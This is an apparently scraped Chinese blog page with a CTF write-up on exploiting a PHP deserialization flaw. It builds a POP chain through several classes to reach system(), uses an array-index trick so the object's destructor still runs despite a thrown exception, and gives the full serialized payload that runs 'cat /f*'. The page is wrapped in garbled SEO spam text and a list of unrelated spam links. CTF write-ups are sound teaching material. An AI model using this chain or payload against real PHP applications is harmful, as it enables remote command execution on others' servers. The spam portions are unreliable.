当前位置: 首页 > news >正文

网站建设流程教案如何免费做网站的教程

网站建设流程教案,如何免费做网站的教程,广东网站备案要多久,ppt做视频模板下载网站有哪些打开链接#xff0c;存在很多个类#xff0c;很明显是php反序列化漏洞利用#xff0c;需要构造pop链 #xff0c; 关于pop链构造的详细步骤教学#xff0c;请参考我之前的博客#xff0c;真的讲得很详细也容易理解#xff1a; http://t.csdnimg.cn/wMYNB 如果你是刚接…打开链接存在很多个类很明显是php反序列化漏洞利用需要构造pop链 关于pop链构造的详细步骤教学请参考我之前的博客真的讲得很详细也容易理解 http://t.csdnimg.cn/wMYNB 如果你是刚接触php反序列化利用的题那么建议先看基础的原理知识 http://t.csdnimg.cn/xhqzq http://t.csdnimg.cn/jzQjt http://t.csdnimg.cn/IHpEq 由于这道题还出现了 throw new Exception(Nope); 这个throw就是GC回收垃圾回收机制这里需要绕过它。 首先我们需要知道 在php中当对象被销毁时会自动调用__destruct()方法但如果程序报错或者抛出异常就不会触发该魔术方法。 当一个类创建之后它会自己消失而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发而throw那个函数就是回收了自动销毁的类导致destruct检测不到有东西销毁从而也就导致无法触发destruct函数。 我们可以通过提前触发垃圾回收机制来抛出异常从而绕过GC回收唤醒__destruct()魔术方法。 触发垃圾回收机制的方法有本质即使对象引用计数归零 1对象被unset()处理时可以触发。 2数组对象为NULL时可以触发。 我们先正常构造pop链 关于pop链的构造和标注真的看我之前那篇博客肯定能懂 ?phpclass Start{public $errMsg; // 5 Cryptopublic function __destruct() {die($this-errMsg); } }class Pwn{public $obj; // 2 Webpublic function __invoke(){$this-obj-evil();}public function evil() {phpinfo();} }class Reverse{public $func; // 3 Pwnpublic function __get($var) {($this-func)();} }class Web{ public $func; // 1 systempublic $var; // 1 cat /f*public function evil() {if(!preg_match(/flag/i,$this-var)){($this-func)($this-var);}else{echo Not Flag;}} }class Crypto{public $obj; // 4 Reversepublic function __toString() {$wel $this-obj-good;return NewStar;} }class Misc{ public function evil() {echo good job but nothing;} }$w new Web(); $w-func system; $w-var cat /f*; $p new Pwn(); $p-obj $w; $r new Reverse(); $r-func $p; $c new Crypto(); $c-obj $r; $s new Start(); $s-errMsg $c; echo serialize($s);? 我们使用第二中方法数组对象为NULL绕过GC回收 ?phpclass Start{public $errMsg; // 5 Cryptopublic function __destruct() {die($this-errMsg); } }class Pwn{public $obj; // 2 Webpublic function __invoke(){$this-obj-evil();}public function evil() {phpinfo();} }class Reverse{public $func; // 3 Pwnpublic function __get($var) {($this-func)();} }class Web{ public $func; // 1 systempublic $var; // 1 cat /f*public function evil() {if(!preg_match(/flag/i,$this-var)){($this-func)($this-var);}else{echo Not Flag;}} }class Crypto{public $obj; // 4 Reversepublic function __toString() {$wel $this-obj-good;return NewStar;} }class Misc{ public function evil() {echo good job but nothing;} }$w new Web(); $w-func system; $w-var cat /f*; $p new Pwn(); $p-obj $w; $r new Reverse(); $r-func $p; $c new Crypto(); $c-obj $r; $s new Start(); $s-errMsg $c;$barray($s,0); echo serialize($b); ? 运行得到 a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:1;i:0;}  我们将最后的 i:1 替换为 i:0 即 a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:0;i:0;}  构造payload postfasta:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:0;i:0;}  拿到flag flag{558eb633-8715-4922-8201-f8402343b140}  当然这里保险一点的做法是先执行 ls 命令然后再使用 ../../../ 进行目录穿越 找到flag所在目录再进行 cat并且这里过滤了关键字 flag因此我们使用通配符 * 进行匹配。 只是说一般 flag 都在根目录下所以我直接 cat /f*。
http://www.hkea.cn/news/14429445/

相关文章:

  • 本机网络ip做网站wordpress全站伪静态
  • 免抵退税在哪个网站做平面设计师必去的网站
  • 爱最好网站建设贺州同城购物网站建设
  • 成都高端企业网站建设品牌故事
  • 综合门户网站建设wordpress后台爆破
  • 昆明企业网站建设一条龙本溪北京网站建设
  • 网站后台html5模板网站内页修改关键字
  • 天津哪家公司做公司网站挖掘关键词的工具
  • 时尚大气网站设计怎么自己改自己做的网站的图片
  • 无忧中英繁企业网站系统通用版网站怎么发布信息
  • 网站建设 用ftp上传文件学c还是网站开发
  • 哪个网站做外贸生意ppt下一页
  • 广州网站优化价格jsp做网站视频教程
  • 网站建设相关资料文件icp备案添加网站
  • 温州做网站的装修免费咨询平台
  • 怎么做王者荣耀网站郑州世界工厂网
  • 说明网站建设与网站运营的区别网络品牌推广公司
  • 驻马店 网站建设文书写作网站
  • 网上书店网站开发代码企业信息管理系统的发展历程
  • 西安哪家公司做的网站好app下载软件电脑版
  • 网站开发工程师证书教资注册网站
  • 新开传奇网站曾劲松seo企业推广案例
  • 有什么网站可以免费注册徐州社交网站
  • 企业网站优化服务主要围绕什么百度关键词价格排行榜
  • 哈尔滨做网站需要多少钱淘宝的网站怎么做的好
  • 同安区建设局网站招投标为什么wordpress升级
  • 上海市建设安全协会网站一360wordpress数据库设置
  • 制作网站教学设计flask做网站工具
  • 网站的建设方法包括什么wordpress目录分站
  • 建站之星服务器filetype ppt 网站建设